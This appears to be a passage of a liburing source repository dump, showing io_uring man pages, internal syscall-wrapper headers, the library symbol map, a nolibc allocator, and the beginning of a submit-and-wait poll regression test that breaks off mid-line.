(3) 23 | and prepares the SQE using one of the provided helpers, it can be submitted with 24 | .BR io_uring_submit (3) . 25 | 26 | .SH RETURN VALUE 27 | On success 28 | .BR io_uring_submit (3) 29 | returns the number of submitted submission queue entries. On failure it returns 30 | .BR -errno . 31 | .SH NOTES 32 | For any request that passes in data in a struct, that data must remain 33 | valid until the request has been successfully submitted. It need not remain 34 | valid until completion. Once a request has been submitted, the in-kernel 35 | state is stable. Very early kernels (5.4 and earlier) required state to be 36 | stable until the completion occurred. Applications can test for this 37 | behavior by inspecting the 38 | .B IORING_FEAT_SUBMIT_STABLE 39 | flag passed back from 40 | .BR io_uring_queue_init_params (3). 41 | In general, the man pages for the individual prep helpers will have a note 42 | mentioning this fact as well, if required for the given command. 43 | .SH SEE ALSO 44 | .BR io_uring_get_sqe (3), 45 | .BR io_uring_submit_and_wait (3), 46 | .BR io_uring_submit_and_wait_timeout (3) 47 | -------------------------------------------------------------------------------- /liburing/man/io_uring_submit_and_wait.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2021 Stefan Roesch 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_submit_and_wait 3 "November 15, 2021" "liburing-2.1" "liburing Manual" 6 | .SH NAME 7 | io_uring_submit_and_wait \- submit requests to the submission queue and wait for completion 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "int io_uring_submit_and_wait(struct io_uring *" ring "," 13 | .BI " unsigned " wait_nr ");" 14 | .fi 15 | .SH DESCRIPTION 16 | .PP 17 | The 18 | .BR io_uring_submit_and_wait (3) 19 | function submits the next events to the submission queue belonging to the 20 | .I ring 21 | and waits for 22 | .I wait_nr 23 | completion events. 24 | 25 | After the caller retrieves a submission queue entry (SQE) with 26 | .BR io_uring_get_sqe (3) 27 | and prepares the SQE, it can be submitted with 28 | .BR io_uring_submit_and_wait (3) . 29 | 30 | .SH RETURN VALUE 31 | On success 32 | .BR io_uring_submit_and_wait (3) 33 | returns the number of submitted submission queue entries. On failure it returns 34 | .BR -errno . 35 | .SH SEE ALSO 36 | .BR io_uring_get_sqe (3), 37 | .BR io_uring_submit (3), 38 | .BR io_uring_submit_and_wait_timeout (3) 39 | -------------------------------------------------------------------------------- /liburing/man/io_uring_submit_and_wait_timeout.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2021 Stefan Roesch 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_submit_and_wait_timeout 3 "November 15, 2021" "liburing-2.1" "liburing Manual" 6 | .SH NAME 7 | io_uring_submit_and_wait_timeout \- submit requests to the submission queue and 8 | wait for the completion with timeout 9 | .SH SYNOPSIS 10 | .nf 11 | .B #include 12 | .PP 13 | .BI "int io_uring_submit_and_wait_timeout(struct io_uring *" ring "," 14 | .BI " struct io_uring_cqe **" cqe_ptr "," 15 | .BI " unsigned " wait_nr "," 16 | .BI " struct __kernel_timespec *" ts "," 17 | .BI " sigset_t *" sigmask ");" 18 | .fi 19 | .SH DESCRIPTION 20 | .PP 21 | The 22 | .BR io_uring_submit_and_wait_timeout (3) 23 | function submits the next events to the submission queue belonging to the 24 | .I ring 25 | and waits for 26 | .I wait_nr 27 | completion events or until the timeout 28 | .I ts 29 | expires. The completion events are stored in the 30 | .I cqe_ptr 31 | array. The 32 | .I sigmask 33 | specifies the set of signals to block. The prevailing signal mask is restored 34 | before returning. 35 | 36 | After the caller retrieves a submission queue entry (SQE) with 37 | .BR io_uring_get_sqe (3) 38 | and prepares the SQE, it can be submitted with 39 | .BR io_uring_submit_and_wait_timeout (3) . 40 | 41 | .SH RETURN VALUE 42 | On success 43 | .BR io_uring_submit_and_wait_timeout (3) 44 | returns the number of submitted submission queue entries. On failure it returns 45 | .BR -errno . 46 | The most common failure case is not receiving a completion within the specified 47 | timeout, 48 | .B -ETIME 49 | is returned in this case. 50 | .SH SEE ALSO 51 | .BR io_uring_get_sqe (3), 52 | .BR io_uring_submit (3), 53 | .BR io_uring_submit_and_wait (3), 54 | .BR io_uring_wait_cqe (3) 55 | -------------------------------------------------------------------------------- /liburing/man/io_uring_unregister_buf_ring.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Jens Axboe 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_unregister_buf_ring 3 "May 18, 2022" "liburing-2.2" "liburing Manual" 6 | .SH NAME 7 | io_uring_unregister_buf_ring \- unregister a previously registered buffer ring 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "int io_uring_unregister_buf_ring(struct io_uring *" ring ", 13 | .BI " int " bgid ");" 14 | .BI " 15 | .fi 16 | .SH DESCRIPTION 17 | .PP 18 | The 19 | .BR io_uring_unregister_buf_ring (3) 20 | function unregisters a previously registered shared buffer ring indicated by 21 | .IR bgid . 22 | 23 | .SH RETURN VALUE 24 | On success 25 | .BR io_uring_unregister_buf_ring (3) 26 | returns 0. On failure it returns 27 | .BR -errno . 28 | .SH SEE ALSO 29 | .BR io_uring_register_buf_ring (3), 30 | .BR io_uring_buf_ring_free (3) 31 | -------------------------------------------------------------------------------- /liburing/man/io_uring_unregister_buffers.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2021 Stefan Roesch 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_unregister_buffers 3 "November 15, 2021" "liburing-2.1" "liburing Manual" 6 | .SH NAME 7 | io_uring_unregister_buffers \- unregister buffers for fixed buffer operations 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "int io_uring_unregister_buffers(struct io_uring *" ring ");" 13 | .fi 14 | .SH DESCRIPTION 15 | .PP 16 | The 17 | .BR io_uring_unregister_buffers (3) 18 | function unregisters the fixed buffers previously registered to the 19 | .IR ring . 20 | 21 | .SH RETURN VALUE 22 | On success 23 | .BR io_uring_unregister_buffers (3) 24 | returns 0. On failure it returns 25 | .BR -errno . 26 | .SH SEE ALSO 27 | .BR io_uring_register_buffers (3) 28 | -------------------------------------------------------------------------------- /liburing/man/io_uring_unregister_eventfd.3: -------------------------------------------------------------------------------- 1 | io_uring_register_eventfd.3 -------------------------------------------------------------------------------- /liburing/man/io_uring_unregister_files.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2021 Stefan Roesch 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_unregister_files 3 "November 15, 2021" "liburing-2.1" "liburing Manual" 6 | .SH NAME 7 | io_uring_unregister_files \- unregister file descriptors 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "int io_uring_unregister_files(struct io_uring *" ring ");" 13 | .fi 14 | .SH DESCRIPTION 15 | .PP 16 | The 17 | .BR io_uring_unregister_files (3) 18 | function unregisters the file descriptors previously registered to the 19 | .IR ring . 20 | 21 | .SH RETURN VALUE 22 | On success 23 | .BR io_uring_unregister_files (3) 24 | returns 0. On failure it returns 25 | .BR -errno . 26 | .SH SEE ALSO 27 | .BR io_uring_register_files (3) 28 | -------------------------------------------------------------------------------- /liburing/man/io_uring_unregister_iowq_aff.3: -------------------------------------------------------------------------------- 1 | io_uring_register_iowq_aff.3 -------------------------------------------------------------------------------- /liburing/man/io_uring_unregister_ring_fd.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Jens Axboe 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_unregister_ring_fd 3 "March 11, 2022" "liburing-2.2" "liburing Manual" 6 | .SH NAME 7 | io_uring_unregister_ring_fd \- unregister a ring file descriptor 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "int io_uring_unregister_ring_fd(struct io_uring *" ring ");" 13 | .fi 14 | .SH DESCRIPTION 15 | .PP 16 | .BR io_uring_unregister_ring_fd (3) 17 | unregisters the file descriptor of the ring. 18 | 19 | Unregisters a ring descriptor previously registered with the task. This is 20 | done automatically when 21 | .BR io_uring_queue_exit (3) 22 | is called, but can also be done to free up space for new ring registrations. 23 | For more information on ring descriptor registration, see 24 | .BR io_uring_register_ring_fd (3) 25 | 26 | .SH RETURN VALUE 27 | Returns 1 on success, indicating that one file descriptor was unregistered, or 28 | .BR -errno 29 | on error. 30 | .SH SEE ALSO 31 | .BR io_uring_register_ring_fd (3), 32 | .BR io_uring_register_files (3) 33 | -------------------------------------------------------------------------------- /liburing/man/io_uring_wait_cqe.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2021 Stefan Roesch 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_wait_cqe 3 "November 15, 2021" "liburing-2.1" "liburing Manual" 6 | .SH NAME 7 | io_uring_wait_cqe \- wait for one io_uring completion event 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "int io_uring_wait_cqe(struct io_uring *" ring "," 13 | .BI " struct io_uring_cqe **" cqe_ptr ");" 14 | .fi 15 | .SH DESCRIPTION 16 | .PP 17 | The 18 | .BR io_uring_wait_cqe (3) 19 | function waits for an IO completion from the queue belonging to the 20 | .I ring 21 | param, waiting for it if necessary. If an event is already available in 22 | the ring when invoked, no waiting will occur. The 23 | .I cqe_ptr 24 | param is filled in on success. 25 | 26 | After the caller has submitted a request with 27 | .BR io_uring_submit (3), 28 | the application can retrieve the completion with 29 | .BR io_uring_wait_cqe (3). 30 | 31 | .SH RETURN VALUE 32 | On success 33 | .BR io_uring_wait_cqe (3) 34 | returns 0 and the cqe_ptr parm is filled in. On failure it returns 35 | .BR -errno . 36 | The return value indicates the result of waiting for a CQE, and it has no 37 | relation to the CQE result itself. 38 | .SH SEE ALSO 39 | .BR io_uring_submit (3), 40 | .BR io_uring_wait_cqes (3) 41 | -------------------------------------------------------------------------------- /liburing/man/io_uring_wait_cqe_nr.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2021 Stefan Roesch 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_wait_cqe_nr 3 "November 15, 2021" "liburing-2.1" "liburing Manual" 6 | .SH NAME 7 | io_uring_wait_cqe_nr \- wait for one or more io_uring completion events 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "int io_uring_wait_cqe_nr(struct io_uring *" ring "," 13 | .BI " struct io_uring_cqe **" cqe_ptr "," 14 | .BI " unsigned " wait_nr ");" 15 | .fi 16 | .SH DESCRIPTION 17 | .PP 18 | The 19 | .BR io_uring_wait_cqe_nr (3) 20 | function returns 21 | .I wait_nr 22 | IO completion events from the queue belonging to the 23 | .I ring 24 | param, waiting for it if necessary. If the requested number of events are 25 | already available in the ring when invoked, no waiting will occur. The 26 | .I cqe_ptr 27 | param is filled in on success. 28 | 29 | After the caller has submitted a request with 30 | .BR io_uring_submit (3), 31 | the application can retrieve the completion with 32 | .BR io_uring_wait_cqe (3). 33 | 34 | .SH RETURN VALUE 35 | On success 36 | .BR io_uring_wait_cqe_nr (3) 37 | returns 0 and the cqe_ptr parm is filled in. On failure it returns 38 | .BR -errno . 39 | The return value indicates the result of waiting for a CQE, and it has no 40 | relation to the CQE result itself. 41 | .SH SEE ALSO 42 | .BR io_uring_submit (3), 43 | .BR io_uring_wait_cqes (3) 44 | -------------------------------------------------------------------------------- /liburing/man/io_uring_wait_cqe_timeout.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2021 Stefan Roesch 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_wait_cqe_timeout 3 "November 15, 2021" "liburing-2.1" "liburing Manual" 6 | .SH NAME 7 | io_uring_wait_cqe_timeout \- wait for one io_uring completion event with timeout 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "int io_uring_wait_cqe_timeout(struct io_uring *" ring "," 13 | .BI " struct io_uring_cqe **" cqe_ptr "," 14 | .BI " struct __kernel_timespec *" ts ");" 15 | .fi 16 | .SH DESCRIPTION 17 | .PP 18 | The 19 | .BR io_uring_wait_cqe_timeout (3) 20 | function waits for one IO completion to be available from the queue belonging 21 | to the 22 | .I ring 23 | param, waiting for it if necessary or until the timeout 24 | .I ts 25 | expires. If an event is already available in the ring when invoked, no waiting 26 | will occur. 27 | 28 | The 29 | .I cqe_ptr 30 | param is filled in on success. 31 | 32 | If 33 | .I ts 34 | is specified and an older kernel without 35 | .B IORING_FEAT_EXT_ARG 36 | is used, the application does not need to call 37 | .BR io_uring_submit (3) 38 | before calling 39 | .BR io_uring_wait_cqes (3). 40 | For newer kernels with that feature flag set, there is no implied submit 41 | when waiting for a request. 42 | 43 | .SH RETURN VALUE 44 | On success 45 | .BR io_uring_wait_cqes (3) 46 | returns 0 and the cqe_ptr parm is filled in. On failure it returns 47 | .BR -errno . 48 | The return value indicates the result of waiting for a CQE, and it has no 49 | relation to the CQE result itself. 50 | .SH SEE ALSO 51 | .BR io_uring_submit (3), 52 | .BR io_uring_wait_cqe_timeout (3), 53 | .BR io_uring_wait_cqe (3) 54 | -------------------------------------------------------------------------------- /liburing/man/io_uring_wait_cqes.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2021 Stefan Roesch 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_wait_cqes 3 "November 15, 2021" "liburing-2.1" "liburing Manual" 6 | .SH NAME 7 | io_uring_wait_cqes \- wait for one or more io_uring completion events 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "int io_uring_wait_cqes(struct io_uring *" ring "," 13 | .BI " struct io_uring_cqe **" cqe_ptr "," 14 | .BI " unsigned " wait_nr "," 15 | .BI " struct __kernel_timespec *" ts "," 16 | .BI " sigset_t *" sigmask "); 17 | .fi 18 | .SH DESCRIPTION 19 | .PP 20 | The 21 | .BR io_uring_wait_cqes (3) 22 | function returns 23 | .I wait_nr 24 | IO completions from the queue belonging to the 25 | .I ring 26 | param, waiting for them if necessary or until the timeout 27 | .I ts 28 | expires. The 29 | .I sigmask 30 | specifies the set of signals to block. The prevailing signal mask is restored 31 | before returning. 32 | 33 | The 34 | .I cqe_ptr 35 | param is filled in on success. 36 | 37 | If 38 | .I ts 39 | is specified and an older kernel without 40 | .B IORING_FEAT_EXT_ARG 41 | is used, the application does not need to call 42 | .BR io_uring_submit (3) 43 | before calling 44 | .BR io_uring_wait_cqes (3). 45 | For newer kernels with that feature flag set, there is no implied submit 46 | when waiting for a request. 47 | 48 | .SH RETURN VALUE 49 | On success 50 | .BR io_uring_wait_cqes (3) 51 | returns 0 and the cqe_ptr parm is filled in. On failure it returns 52 | .BR -errno . 53 | .SH SEE ALSO 54 | .BR io_uring_submit (3), 55 | .BR io_uring_wait_cqe_timeout (3), 56 | .BR io_uring_wait_cqe (3) 57 | -------------------------------------------------------------------------------- /liburing/src/arch/generic/lib.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | 3 | #ifndef __INTERNAL__LIBURING_LIB_H 4 | #error "This file should be included from src/lib.h (liburing)" 5 | #endif 6 | 7 | #ifndef LIBURING_ARCH_GENERIC_LIB_H 8 | #define LIBURING_ARCH_GENERIC_LIB_H 9 | 10 | static inline long get_page_size(void) 11 | { 12 | long page_size; 13 | 14 | page_size = sysconf(_SC_PAGESIZE); 15 | if (page_size < 0) 16 | page_size = 4096; 17 | 18 | return page_size; 19 | } 20 | 21 | #endif /* #ifndef LIBURING_ARCH_GENERIC_LIB_H */ 22 | -------------------------------------------------------------------------------- /liburing/src/arch/generic/syscall.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | 3 | #ifndef __INTERNAL__LIBURING_SYSCALL_H 4 | #error "This file should be included from src/syscall.h (liburing)" 5 | #endif 6 | 7 | #ifndef LIBURING_ARCH_GENERIC_SYSCALL_H 8 | #define LIBURING_ARCH_GENERIC_SYSCALL_H 9 | 10 | static inline int ____sys_io_uring_register(int fd, unsigned opcode, 11 | const void *arg, unsigned nr_args) 12 | { 13 | int ret; 14 | ret = syscall(__NR_io_uring_register, fd, opcode, arg, nr_args); 15 | return (ret < 0) ? -errno : ret; 16 | } 17 | 18 | static inline int ____sys_io_uring_setup(unsigned entries, 19 | struct io_uring_params *p) 20 | { 21 | int ret; 22 | ret = syscall(__NR_io_uring_setup, entries, p); 23 | return (ret < 0) ? -errno : ret; 24 | } 25 | 26 | static inline int ____sys_io_uring_enter2(int fd, unsigned to_submit, 27 | unsigned min_complete, unsigned flags, 28 | sigset_t *sig, int sz) 29 | { 30 | int ret; 31 | ret = syscall(__NR_io_uring_enter, fd, to_submit, min_complete, flags, 32 | sig, sz); 33 | return (ret < 0) ? -errno : ret; 34 | } 35 | 36 | static inline int ____sys_io_uring_enter(int fd, unsigned to_submit, 37 | unsigned min_complete, unsigned flags, 38 | sigset_t *sig) 39 | { 40 | return ____sys_io_uring_enter2(fd, to_submit, min_complete, flags, sig, 41 | _NSIG / 8); 42 | } 43 | 44 | static inline void *__sys_mmap(void *addr, size_t length, int prot, int flags, 45 | int fd, off_t offset) 46 | { 47 | void *ret; 48 | ret = mmap(addr, length, prot, flags, fd, offset); 49 | return (ret == MAP_FAILED) ? ERR_PTR(-errno) : ret; 50 | } 51 | 52 | static inline int __sys_munmap(void *addr, size_t length) 53 | { 54 | int ret; 55 | ret = munmap(addr, length); 56 | return (ret < 0) ? -errno : ret; 57 | } 58 | 59 | static inline int __sys_madvise(void *addr, size_t length, int advice) 60 | { 61 | int ret; 62 | ret = madvise(addr, length, advice); 63 | return (ret < 0) ? -errno : ret; 64 | } 65 | 66 | static inline int __sys_getrlimit(int resource, struct rlimit *rlim) 67 | { 68 | int ret; 69 | ret = getrlimit(resource, rlim); 70 | return (ret < 0) ? -errno : ret; 71 | } 72 | 73 | static inline int __sys_setrlimit(int resource, const struct rlimit *rlim) 74 | { 75 | int ret; 76 | ret = setrlimit(resource, rlim); 77 | return (ret < 0) ? -errno : ret; 78 | } 79 | 80 | static inline int __sys_close(int fd) 81 | { 82 | int ret; 83 | ret = close(fd); 84 | return (ret < 0) ? -errno : ret; 85 | } 86 | 87 | #endif /* #ifndef LIBURING_ARCH_GENERIC_SYSCALL_H */ 88 | -------------------------------------------------------------------------------- /liburing/src/arch/syscall-defs.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | 3 | #ifndef LIBURING_ARCH_SYSCALL_DEFS_H 4 | #define LIBURING_ARCH_SYSCALL_DEFS_H 5 | 6 | static inline void *__sys_mmap(void *addr, size_t length, int prot, int flags, 7 | int fd, off_t offset) 8 | { 9 | int nr; 10 | 11 | #if defined(__i386__) 12 | nr = __NR_mmap2; 13 | offset >>= 12; 14 | #else 15 | nr = __NR_mmap; 16 | #endif 17 | return (void *) __do_syscall6(nr, addr, length, prot, flags, fd, offset); 18 | } 19 | 20 | static inline int __sys_munmap(void *addr, size_t length) 21 | { 22 | return (int) __do_syscall2(__NR_munmap, addr, length); 23 | } 24 | 25 | static inline int __sys_madvise(void *addr, size_t length, int advice) 26 | { 27 | return (int) __do_syscall3(__NR_madvise, addr, length, advice); 28 | } 29 | 30 | static inline int __sys_getrlimit(int resource, struct rlimit *rlim) 31 | { 32 | return (int) __do_syscall2(__NR_getrlimit, resource, rlim); 33 | } 34 | 35 | static inline int __sys_setrlimit(int resource, const struct rlimit *rlim) 36 | { 37 | return (int) __do_syscall2(__NR_setrlimit, resource, rlim); 38 | } 39 | 40 | static inline int __sys_close(int fd) 41 | { 42 | return (int) __do_syscall1(__NR_close, fd); 43 | } 44 | 45 | static inline int ____sys_io_uring_register(int fd, unsigned opcode, 46 | const void *arg, unsigned nr_args) 47 | { 48 | return (int) __do_syscall4(__NR_io_uring_register, fd, opcode, arg, 49 | nr_args); 50 | } 51 | 52 | static inline int ____sys_io_uring_setup(unsigned entries, 53 | struct io_uring_params *p) 54 | { 55 | return (int) __do_syscall2(__NR_io_uring_setup, entries, p); 56 | } 57 | 58 | static inline int ____sys_io_uring_enter2(int fd, unsigned to_submit, 59 | unsigned min_complete, unsigned flags, 60 | sigset_t *sig, int sz) 61 | { 62 | return (int) __do_syscall6(__NR_io_uring_enter, fd, to_submit, 63 | min_complete, flags, sig, sz); 64 | } 65 | 66 | static inline int ____sys_io_uring_enter(int fd, unsigned to_submit, 67 | unsigned min_complete, unsigned flags, 68 | sigset_t *sig) 69 | { 70 | return ____sys_io_uring_enter2(fd, to_submit, min_complete, flags, sig, 71 | _NSIG / 8); 72 | } 73 | 74 | #endif 75 | -------------------------------------------------------------------------------- /liburing/src/arch/x86/lib.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | 3 | #ifndef __INTERNAL__LIBURING_LIB_H 4 | #error "This file should be included from src/lib.h (liburing)" 5 | #endif 6 | 7 | #ifndef LIBURING_ARCH_X86_LIB_H 8 | #define LIBURING_ARCH_X86_LIB_H 9 | 10 | static inline long get_page_size(void) 11 | { 12 | return 4096; 13 | } 14 | 15 | #endif /* #ifndef LIBURING_ARCH_X86_LIB_H */ 16 | -------------------------------------------------------------------------------- /liburing/src/int_flags.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | #ifndef LIBURING_INT_FLAGS 3 | #define LIBURING_INT_FLAGS 4 | 5 | enum { 6 | INT_FLAG_REG_RING = 1, 7 | }; 8 | 9 | #endif 10 | -------------------------------------------------------------------------------- /liburing/src/lib.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | #ifndef LIBURING_LIB_H 3 | #define LIBURING_LIB_H 4 | 5 | #include 6 | #include 7 | #include 8 | 9 | #define __INTERNAL__LIBURING_LIB_H 10 | #if defined(__x86_64__) || defined(__i386__) 11 | #include "arch/x86/lib.h" 12 | #else 13 | /* 14 | * We don't have nolibc support for this arch. Must use libc! 15 | */ 16 | #ifdef CONFIG_NOLIBC 17 | #error "This arch doesn't support building liburing without libc" 18 | #endif 19 | /* libc wrappers. */ 20 | #include "arch/generic/lib.h" 21 | #endif 22 | #undef __INTERNAL__LIBURING_LIB_H 23 | 24 | 25 | #ifndef offsetof 26 | #define offsetof(TYPE, FIELD) ((size_t) &((TYPE *)0)->FIELD) 27 | #endif 28 | 29 | #ifndef container_of 30 | #define container_of(PTR, TYPE, FIELD) ({ \ 31 | __typeof__(((TYPE *)0)->FIELD) *__FIELD_PTR = (PTR); \ 32 | (TYPE *)((char *) __FIELD_PTR - offsetof(TYPE, FIELD)); \ 33 | }) 34 | #endif 35 | 36 | void *__uring_malloc(size_t len); 37 | void __uring_free(void *p); 38 | 39 | static inline void *uring_malloc(size_t len) 40 | { 41 | #ifdef CONFIG_NOLIBC 42 | return __uring_malloc(len); 43 | #else 44 | return malloc(len); 45 | #endif 46 | } 47 | 48 | static inline void uring_free(void *ptr) 49 | { 50 | #ifdef CONFIG_NOLIBC 51 | __uring_free(ptr); 52 | #else 53 | free(ptr); 54 | #endif 55 | } 56 | 57 | #endif /* #ifndef LIBURING_LIB_H */ 58 | -------------------------------------------------------------------------------- /liburing/src/liburing.map: -------------------------------------------------------------------------------- 1 | LIBURING_2.0 { 2 | global: 3 | io_uring_get_probe; 4 | io_uring_get_probe_ring; 5 | io_uring_free_probe; 6 | io_uring_get_sqe; 7 | io_uring_peek_batch_cqe; 8 | io_uring_queue_exit; 9 | io_uring_queue_init; 10 | io_uring_queue_init_params; 11 | io_uring_queue_mmap; 12 | io_uring_register_buffers; 13 | io_uring_register_eventfd; 14 | io_uring_register_eventfd_async; 15 | io_uring_register_files; 16 | io_uring_register_files_update; 17 | io_uring_register_personality; 18 | io_uring_register_probe; 19 | io_uring_ring_dontfork; 20 | io_uring_submit; 21 | io_uring_submit_and_wait; 22 | io_uring_unregister_buffers; 23 | io_uring_unregister_eventfd; 24 | io_uring_unregister_files; 25 | io_uring_unregister_personality; 26 | io_uring_wait_cqe_timeout; 27 | io_uring_wait_cqes; 28 | 29 | __io_uring_get_cqe; 30 | __io_uring_sqring_wait; 31 | local: 32 | *; 33 | }; 34 | 35 | LIBURING_2.1 { 36 | global: 37 | io_uring_mlock_size_params; 38 | io_uring_mlock_size; 39 | io_uring_register_buffers_tags; 40 | io_uring_register_buffers_update_tag; 41 | io_uring_register_files_tags; 42 | io_uring_register_files_update_tag; 43 | io_uring_register_iowq_aff; 44 | io_uring_unregister_iowq_aff; 45 | io_uring_register_iowq_max_workers; 46 | } LIBURING_2.0; 47 | 48 | LIBURING_2.2 { 49 | global: 50 | io_uring_submit_and_wait_timeout; 51 | io_uring_register_ring_fd; 52 | io_uring_unregister_ring_fd; 53 | io_uring_register_files_sparse; 54 | io_uring_register_buffers_sparse; 55 | io_uring_register_buf_ring; 56 | io_uring_unregister_buf_ring; 57 | } LIBURING_2.1; 58 | -------------------------------------------------------------------------------- /liburing/src/nolibc.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | 3 | #ifndef CONFIG_NOLIBC 4 | #error "This file should only be compiled for no libc build" 5 | #endif 6 | 7 | #include "lib.h" 8 | #include "syscall.h" 9 | 10 | void *memset(void *s, int c, size_t n) 11 | { 12 | size_t i; 13 | unsigned char *p = s; 14 | 15 | for (i = 0; i < n; i++) 16 | p[i] = (unsigned char) c; 17 | 18 | return s; 19 | } 20 | 21 | struct uring_heap { 22 | size_t len; 23 | char user_p[] __attribute__((__aligned__)); 24 | }; 25 | 26 | void *__uring_malloc(size_t len) 27 | { 28 | struct uring_heap *heap; 29 | 30 | heap = __sys_mmap(NULL, sizeof(*heap) + len, PROT_READ | PROT_WRITE, 31 | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); 32 | if (IS_ERR(heap)) 33 | return NULL; 34 | 35 | heap->len = sizeof(*heap) + len; 36 | return heap->user_p; 37 | } 38 | 39 | void __uring_free(void *p) 40 | { 41 | struct uring_heap *heap; 42 | 43 | if (uring_unlikely(!p)) 44 | return; 45 | 46 | heap = container_of(p, struct uring_heap, user_p); 47 | __sys_munmap(heap, heap->len); 48 | } 49 | -------------------------------------------------------------------------------- /liburing/src/syscall.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | #define _DEFAULT_SOURCE 3 | 4 | /* 5 | * Functions in this file require libc, only build them when we use libc. 6 | * 7 | * Note: 8 | * liburing's tests still need these functions. 9 | */ 10 | #if defined(CONFIG_NOLIBC) && !defined(LIBURING_BUILD_TEST) 11 | #error "This file should only be compiled for libc build, or for liburing tests" 12 | #endif 13 | 14 | /* 15 | * Will go away once libc support is there 16 | */ 17 | #include 18 | #include 19 | #include 20 | #include "liburing/compat.h" 21 | #include "liburing/io_uring.h" 22 | #include "syscall.h" 23 | 24 | int __sys_io_uring_register(int fd, unsigned opcode, const void *arg, 25 | unsigned nr_args) 26 | { 27 | return syscall(__NR_io_uring_register, fd, opcode, arg, nr_args); 28 | } 29 | 30 | int __sys_io_uring_setup(unsigned entries, struct io_uring_params *p) 31 | { 32 | return syscall(__NR_io_uring_setup, entries, p); 33 | } 34 | 35 | int __sys_io_uring_enter2(int fd, unsigned to_submit, unsigned min_complete, 36 | unsigned flags, sigset_t *sig, int sz) 37 | { 38 | return syscall(__NR_io_uring_enter, fd, to_submit, min_complete, flags, 39 | sig, sz); 40 | } 41 | 42 | int __sys_io_uring_enter(int fd, unsigned to_submit, unsigned min_complete, 43 | unsigned flags, sigset_t *sig) 44 | { 45 | return __sys_io_uring_enter2(fd, to_submit, min_complete, flags, sig, 46 | _NSIG / 8); 47 | } 48 | -------------------------------------------------------------------------------- /liburing/test/500f9fbadef8.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | /* 3 | * Description: Single depth submit+wait poll hang test 4 | * 5 | */ 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #include "helpers.h" 14 | #include "liburing.h" 15 | 16 | #define BLOCKS 4096 17 | 18 | int main(int argc, char *argv[]) 19 | { 20 | struct io_uring ring; 21 | struct io_uring_sqe *sqe; 22 | struct io_uring_cqe *cqe; 23 | struct iovec iov; 24 | char buf[32]; 25 | off_t offset; 26 | unsigned blocks; 27 | int ret, fd; 28 | 29 | if (argc > 1) 30 | return 0; 31 | 32 | t_posix_memalign(&iov.iov_base, 4096, 4096); 33 | iov.iov_len = 4096; 34 | 35 | ret = io_uring_queue_init(1, &ring, IORING_SETUP_IOPOLL); 36 | if (ret) { 37 | fprintf(stderr, "ring setup failed\n"); 38 | return 1; 39 | 40 | } 41 | 42 | sprintf(buf, "./XXXXXX"); 43 | fd = mkostemp(buf, O_WRONLY | O_DIRECT | O_CREAT); 44 | if (fd < 0) { 45 | perror("mkostemp"); 46 | return 1; 47 | } 48 | 49 | offset = 0; 50 | blocks = BLOCKS; 51 | do { 52 | sqe = io_uring_get_sqe(&ring); 53 | if (!sqe) { 54 | fprintf(stderr, "get sqe failed\n"); 55 | goto err; 56 | } 57 | io_uring_prep_writev(sqe, fd, &iov, 1, offset); 58 | ret = io_uring_submit_and_wait(&ring, 1); 59 | if (ret < 0) { 60 | fprintf(stderr, "submit_and_wait: %d\n", ret); 61 | goto err; 62 | } 63 | ret = io_uring_wait_cqe(&ring, &cqe); 64 | if (ret < 0) { 65 | fprintf(stderr, "wait completion: %d\n", ret); 66 | goto err; 67 | } 68 | if (cqe->res != 4096) { 69 | if 